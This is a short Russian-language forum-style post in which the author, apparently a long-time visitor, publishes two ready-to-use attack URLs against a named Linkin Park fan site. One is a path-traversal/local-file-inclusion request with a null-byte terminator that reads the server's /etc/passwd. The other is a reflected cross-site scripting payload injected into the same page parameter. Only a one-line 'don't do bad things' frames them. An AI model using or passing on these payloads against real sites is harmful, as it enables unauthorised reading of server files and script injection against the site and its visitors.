это одинь из моих любимых сайтов, который я посещал в течении трех лет ( да и сейчас посещаю)

http://lprussia.com/index.php?page=../../../../../../../../../../../../etc/passwd%00&id=photos&this_id=text

+XSS

http://lprussia.com/index.php?page=">alert('Linkin Park Rulls')&id=photos&this_id=text

не делайте плохого